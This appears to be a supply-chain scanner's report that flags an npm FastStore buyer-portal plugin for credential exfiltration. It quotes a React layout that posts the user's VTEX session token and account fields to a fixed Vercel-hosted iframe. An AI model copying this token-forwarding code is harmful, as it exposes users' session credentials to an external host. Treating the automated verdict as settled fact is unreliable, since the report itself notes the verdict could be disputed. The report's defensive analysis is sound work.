registry / Credential exfiltration / @vtex/faststore-plugin-buyer-portal

@vtex/faststore-plugin-buyer-portal

A plugin for faststore with buyer portal

This report shows the evidence for @vtex/faststore-plugin-buyer-portal@2.0.38. 6 of 20 known versions are blocked or flagged. The newest version, 2.0.40, is flagged. See all versions.

AI Security Review

scanned 7d ago · by lpm-firewall-ai

The source confirms active, routine disclosure of VTEX session credentials to package-selected external recipients without a recipient-specific consent gate. This supports blocking for credential exfiltration; the origin checks constrain spoofing but do not authorize the credential transfer.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

A user opens the authenticated buyer organization manager or order-entry page, causing its remote agent iframe to load and receive authentication data.

Impact

The external agent apps receive bearer credentials that may permit access as the VTEX user.

Mechanism

The layouts post the VTEX token and related account or session fields to the fixed iframe origin after an agent readiness message or iframe load.

Attack narrative

When either authenticated feature page is opened, the package sends the user's existing VTEX session token to a fixed Vercel-hosted agent app. The source pins messages to the iframe origin, but that does not establish that the external recipient is authorized to receive VTEX credentials or provide recipient-specific consent.

AI rationale

Evidence

src/pages/buyer-organization-manager.tsxsrc/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxsrc/pages/order-entry.tsxsrc/features/order-entry/layouts/OrderEntryLayout.tsx

Network endpoints2

buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agentorder-entry-agent.vercel.app/app/order-entry-agent

Decision evidence

public snapshot

AI called this Malicious at 94.0% confidence as Malware with low false-positive risk.

Evidence for block

The authenticated buyer page extracts an existing VTEX session token and passes it to the B2B iframe layout.
The B2B layout fixes the production receiver to a Vercel-hosted agent app and derives its message target origin from that URL.
The B2B layout sends the token and account context when the embedded app requests authentication; no recipient-specific consent gate is present.
The order-entry page also passes the VTEX token and session data to a separate Vercel-hosted agent app.
Both integrations load their fixed remote iframe as part of the page layout, so the authentication transfer is part of normal feature use.

Evidence against

Both layouts check that incoming messages come from the expected iframe origin and window, which limits message spoofing but does not limit disclosure to the selected recipient.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

Manifest

Source & flagged code

5 flagged

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView file

Lines 1-60typescript

1import { useEffect, useMemo, useRef } from "react";

3import { useLocalization } from "../../../shared/localization/LocalizationContext";

4import { isDevelopment } from "../../../shared/utils/environment";

6const B2B_AGENT_URL = isDevelopment()

7 ? "http://localhost:3001/app/buyer-bulk-ops-agent"

8 : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent";

10interface B2BAgentLayoutProps {

11 vtexIdclientAutCookie: string;

High

Ai Review Evidence

The B2B layout fixes the production receiver to a Vercel-hosted agent app and derives its message target origin from that URL.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L6

12 account: string;

13 locale?: string;

14 customerId?: string;

15 userId?: string;

16}

18const containerStyle: React.CSSProperties = {

19 display: "flex",

20 flexDirection: "column",

21 width: "100%",

22 height: "100vh",

23 overflow: "hidden",

24};

26const iframeStyle: React.CSSProperties = {

27 flex: 1,

28 width: "100%",

29 height: "100%",

30 border: "none",

31};

33export const B2BAgentLayout = ({

34 vtexIdclientAutCookie,

35 account,

36 locale,

37 customerId,

38 userId,

39}: B2BAgentLayoutProps) => {

40 const { t } = useLocalization();

41 const iframeRef = useRef<HTMLIFrameElement>(null);

43 const agentOrigin = useMemo(() => new URL(B2B_AGENT_URL).origin, []);

45 useEffect(() => {

High

Ai Review Evidence

The B2B layout fixes the production receiver to a Vercel-hosted agent app and derives its message target origin from that URL.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L40

46 function postAuthToIframe() {

47 const targetWindow = iframeRef.current?.contentWindow;

48 if (!targetWindow) return;

50 // We send only the token (not the full Cookie header) to reduce exposure.

51 targetWindow.postMessage(

52 {

53 type: "AUTH_TOKEN_UPDATE",

54 vtexIdclientAutCookie,

55 account,

56 locale,

57 customerId,

58 userId,

59 },

60 agentOrigin

•Credential-bearing message sent to a fixed external iframe in src/features/b2b-[redacted].tsx: : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent"; const targetWindow = iframeRef.current?.contentWindow; targetWindow.postMessage( if (event.source !== iframeRef.current?.contentWindow) return; if (iframeRef.current?.contentWindow && vtexIdclientAutCookie) { <iframe

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg

src/pages/buyer-organization-manager.tsxView file

Lines 38-104typescript

38type B2BAgentPageData = { localizationLabels: LabelMap };

40const loaderFunction = async (

41 data:

Source & flagged code

5 flagged · loading source

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg

6const B2B_AGENT_URL = isDevelopment() ? "http://localhost:3001/app/buyer-bulk-ops-agent" : "https://buyer-bulk-ops-agent.vercel.app/app/buyer-bulk-ops-agent"; interface B2BAgentLayoutProps { vtexIdc

High

Ai Review Evidence

The B2B layout fixes the production receiver to a Vercel-hosted agent app and derives its message target origin from that URL.

src/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsxView on unpkg · L6

Findings

1 Critical4 High3 Medium4 Low

CriticalHardcoded Runtime Data Exfiltrationsrc/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsx

HighAi Review Evidencesrc/pages/buyer-organization-manager.tsx

HighAi Review Evidencesrc/features/b2b-agent/layouts/B2BAgentLayout/B2BAgentLayout.tsx

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to @vtex/faststore-plugin-buyer-portal@2.0.38.

The versions list below shows the verdict for each recorded version.

Avoid installing @vtex/faststore-plugin-buyer-portal@2.0.38. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-16 12:31:21.374Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

20 known versions

2.0.40latestSuspiciousCredential ExfiltrationWarnPublishedOct 22, 2026, 2:03 PM 2.0.39SuspiciousCredential ExfiltrationWarnPublishedOct 21, 2026, 7:55 PM 2.0.38shownMaliciousCredential ExfiltrationBlockPublishedOct 16, 2026, 12:26 PM 2.0.37SuspiciousCredential ExfiltrationWarn

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Related packages

Other credential exfiltration packages

Source & flagged code